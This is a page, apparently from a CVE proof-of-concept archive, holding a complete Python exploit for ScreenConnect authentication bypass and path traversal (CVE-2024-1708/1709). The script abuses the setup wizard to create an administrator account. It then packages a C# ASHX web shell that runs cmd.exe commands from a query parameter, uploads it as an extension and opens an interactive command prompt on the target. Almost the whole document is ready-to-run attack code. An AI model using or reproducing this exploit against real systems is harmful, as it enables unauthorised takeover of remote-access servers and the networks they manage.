4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ScreenConnect-AuthBypass-RCE.py PY
import argparse
import base64
import re
import sys
import warnings
from distutils.version import LooseVersion
import requests
import random
import string
import zipfile
import urllib3

DELETE_STATUS=False
warnings.filterwarnings("ignore", category=DeprecationWarning)
urllib3.disable_warnings()

exploit_header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
}

GREEN = "\033[92m"
RESET = "\033[0m"
def rand_text_hex(length):
    return ''.join(random.choice('0123456789abcdef') for _ in range(length))
def rand_text_alpha_lower(length):
    return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))
def rand_text_alpha(length):
    return ''.join(random.choice(string.ascii_letters) for _ in range(length))

plugin_guid = '-'.join([rand_text_hex(a) for a in [8, 4, 4, 4, 12]])
payload_ashx = f"{rand_text_alpha_lower(8)}.ashx"
payload_handler_class = rand_text_alpha(8)
payload_psi_var = rand_text_alpha(8)
session = requests.Session()

def GetAntiForgeryToken(url, username, password):
    try:
        resp = session.get(url=url + "/Administration", auth=(username, password), verify=False, headers=exploit_header, proxies=proxy)
        antiForgeryToken = re.search(r'"antiForgeryToken"\s*:\s*"([a-zA-Z0-9+/=]+)"', resp.text).group(1)
        return antiForgeryToken
    except:
        return None

def CreateExtension():
    payload_data = f'''<% @ WebHandler Language="C#" Class="{payload_handler_class}" %>
using System;
using System.Web;
using System.Diagnostics;
public class {payload_handler_class} : IHttpHandler
{{
    public void ProcessRequest(HttpContext ctx)
    {{
        string command = ctx.Request.QueryString["cmd"];
        if (!string.IsNullOrEmpty(command))
        {{
            ExecuteCommand(command, ctx);
        }}
        else
        {{
            ctx.Response.ContentType = "text/plain";
        }}
    }}
    private void ExecuteCommand(string cmd, HttpContext ctx)
    {{
        ProcessStartInfo {payload_psi_var} = new ProcessStartInfo();
        {payload_psi_var}.FileName = "cmd.exe";
        {payload_psi_var}.Arguments = $"/c {{cmd}}";
        {payload_psi_var}.RedirectStandardOutput = true;
        {payload_psi_var}.UseShellExecute = false;
        using (Process process = new Process())
        {{
            process.StartInfo = {payload_psi_var};
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            process.WaitForExit();
            ctx.Response.ContentType = "text/plain";
            ctx.Response.Write(output);
        }}
    }}
    public bool IsReusable {{ get {{ return true; }} }}
}}'''
    manifest_data = f'''<?xml version="1.0" encoding="utf-8"?>
<ExtensionManifest>
  <Version>1</Version>
  <Name>{rand_text_alpha_lower(8)}</Name>
  <Author>{rand_text_alpha_lower(8)}</Author>
  <ShortDescription>{rand_text_alpha_lower(8)}</ShortDescription>
  <LoadMessage>null</LoadMessage>
  <Components>
    <WebServiceReference SourceFile="{payload_ashx}"/>
  </Components>
</ExtensionManifest>'''
    zip_resources = zipfile.ZipFile("resources.zip", 'w')
    zip_resources.writestr(f"{plugin_guid}/Manifest.xml", manifest_data)
    zip_resources.writestr(f"{plugin_guid}/../{payload_ashx}", payload_data)
    zip_resources.close()

def UploadExtension(url, anti_forgery_token):
    with open("resources.zip", "rb") as f:
        zip_data = f.read()
    zip_data_base64 = base64.b64encode(zip_data).decode()
    headers = {
        "X-Anti-Forgery-Token": anti_forgery_token,
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
    }
    url = url + "/Services/ExtensionService.ashx/InstallExtension"
    session.cookies.update({"settings": "%7B%22collapsedPanelMap%22%3A%7B%22Inactive%22%3Atrue%7D%7D"})
    try:
        response = session.post(url=url, data=f"[\"{zip_data_base64}\"]", headers=headers, verify=False, proxies=proxy)
        if response.status_code == 200:
            print(f"[+] The malicious extension was uploaded successfully, with the ID: {plugin_guid}")
        else:
            print("[-] Malicious extension upload failed, please check the network and try again or try to exploit manually")
    except Exception as err:
        print("[-] Error in func <UploadExtension>, error message: " + str(err))

def ExecuteCommand(url):
    try:
        resp = session.get(url=url + f"/App_Extensions/{payload_ashx}", headers=exploit_header, verify=False, proxies=proxy)
        if resp.status_code == 200:
            print(f"[+] Shell Url: {url + f'/App_Extensions/{payload_ashx}'}")
            print("[+] Please start executing commands freely! Type <quit> to delete the shell")
            while True:
                cmd = input(f"{GREEN}command > {RESET}")
                if cmd == "quit":
                    DeleteExtension(target, plugin_guid)
                    sys.exit(0)
                try:
                    resp = session.get(url=url + f"/App_Extensions/{payload_ashx}?cmd={cmd}", headers=exploit_header, verify=False, proxies=proxy)
                    print(resp.text)
                except Exception as err:
                    print("[-] Error in func <ExecuteCommand>, error message: " + str(err))
        else:
            print(f"[-] Malicious extension load error ({url + f'/App_Extensions/{payload_ashx}'}), Refer to https://www.connectwise.com/globalassets/media/documents/connectwisecontrolsecurityevaluationmatrix.pdf")
            DeleteExtension(target, plugin_guid)
    except Exception as err:
        print("[-] Error in func <ExecuteCommand>, error message: " + str(err))

def DeleteExtension(url, plugin_guid):
    global DELETE_STATUS
    if not DELETE_STATUS:
        try:
            headers = {
                "X-Anti-Forgery-Token": anti_forgery_token,
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
            }
            url = url + "/Services/ExtensionService.ashx/UninstallExtension"
            response = session.post(url=url, data=f"[\"{plugin_guid}\"]", headers=headers, verify=False, proxies=proxy)
            if response.status_code == 200:
                print(f"[+] The malicious extension was removed successfully, with the ID: {plugin_guid}")
                DELETE_STATUS = True
            else:
                print("[-] Malicious extension removed failed, please check the network and try again or try to exploit manually")
        except Exception as err:
            print("[-] Error in func <DeleteExtension>, error message: " + str(err))

def AddUser(url, username, password, domain):
    if CheckVersion(url):
        try:
            initial_request = requests.get(url=url + "/SetupWizard.aspx/", verify=False)
            viewstate_1 = re.search(r'value="([^"]+)"', initial_request.text).group(1)
            viewgen_1 = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', initial_request.text).group(1)
            next_data = {"__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": viewstate_1,
                         "__VIEWSTATEGENERATOR": viewgen_1,
                         "ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton": "Next"}
            next_request = requests.post(url=url + "/SetupWizard.aspx/", headers=exploit_header, data=next_data, verify=False)
            exploit_viewstate = re.search(r'value="([^"]+)"', next_request.text).group(1)
            exploit_viewgen = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', next_request.text).group(1)
            exploit_data = {"__LASTFOCUS": '', "__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": exploit_viewstate,
                            "__VIEWSTATEGENERATOR": exploit_viewgen, "ctl00$Main$wizard$userNameBox": username,
                            "ctl00$Main$wizard$emailBox": username + f"@{domain}",
                            "ctl00$Main$wizard$passwordBox": password, "ctl00$Main$wizard$verifyPasswordBox": password,
                            "ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"}
            requests.post(url=url + "/SetupWizard.aspx/", headers=exploit_header, data=exploit_data, verify=False)
            check_url = url + "/Services/AuthenticationService.ashx/TryLogin"
            check_data = f"""["{username}","{password}",null,null,null]"""
            check_header = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
                "Content-Type": "application/json"
            }
            check_response = requests.post(url=check_url, data=check_data, headers=check_header, verify=False)
            if check_response.ok and "1" in check_response.text:
                print(f"[+] {url} Successfully added user. username: {GREEN}{username}{RESET} and password: {GREEN}{password}{RESET}")
            else:
                print(f"[-] Failed to add user, {url} does not have this vulnerability, please check the network and try again or try to exploit manually")
        except Exception as err:
            print("[-] Error in func <AddUser>, error message: " + str(err))

def CheckVersion(url):
    try:
        response = requests.get(url=url + "/Login?Reason=0", headers=exploit_header, verify=False)
        serverString = response.headers["Server"]
        version = re.search(r"ScreenConnect\/([\d\.]+)-\d+", serverString).group(1)
        if LooseVersion(version) <= LooseVersion("23.9.7"):
            return True
        else:
            return False
    except Exception as err:
        print("[-] Error in func <CheckVersion>, error message: " + str(err))
        return False

def ParseArguments():
    banner = r"""
 ____                            ____                            _     ____   ____ _____ 
/ ___|  ___ _ __ ___  ___ _ __  / ___|___  _ __  _ __   ___  ___| |_  |  _ \ / ___| ____|
\___ \ / __| '__/ _ \/ _ \ '_ \| |   / _ \| '_ \| '_ \ / _ \/ __| __| | |_) | |   |  _|  
 ___) | (__| | |  __/  __/ | | | |__| (_) | | | | | | |  __/ (__| |_  |  _ <| |___| |___ 
|____/ \___|_|  \___|\___|_| |_|\____\___/|_| |_|_| |_|\___|\___|\__| |_| \_\\____|_____|
                                                                            Author: @W01fh4cker
                                                                            Github: https://github.com/W01fh4cker
    """
    print(banner)
    parser = argparse.ArgumentParser(description="CVE-2024-1708 && CVE-2024-1709 --> RCE!!!")
    parser.add_argument("-u", "--username", type=str, default="cvetest", help="username you want to add", required=False)
    parser.add_argument("-p", "--password", type=str, default="cvetest@2023", help="password you want to add", required=False)
    parser.add_argument("-t", "--target", type=str, help="target url", required=True)
    parser.add_argument("-d", "--domain", type=str, default="poc.com", help="Description of domain", required=False)
    parser.add_argument("--proxy", type=str, help="eg: http://127.0.0.1:8080", required=False)
    return parser.parse_args()

if __name__ == "__main__":
    args = ParseArguments()
    username = args.username
    password = args.password
    target = args.target.rstrip("/")
    domain = args.domain
    if args.proxy:
        proxy = {"http": args.proxy, "https": args.proxy}
    else:
        proxy = {}
    print(f"[*] Start checking: {target}")
    anti_forgery_token = GetAntiForgeryToken(target, username, password)
    if anti_forgery_token is None:
        AddUser(target, username, password, domain)
        anti_forgery_token = GetAntiForgeryToken(target, username, password)
    else:
        print(f"[+] username: {GREEN}{username}{RESET} | password: {GREEN}{password}{RESET}")

    CreateExtension()
    if anti_forgery_token is not None:
        print(f"[+] X-Anti-Forgery-Token successfully obtained: {anti_forgery_token}")
        UploadExtension(target, anti_forgery_token)
    else:

        print("[-] AntiForgeryToken acquisition failed, please check the network and try again or try to exploit manually")
    try:
        ExecuteCommand(target)
    except Exception as e:
        DeleteExtension(target, plugin_guid)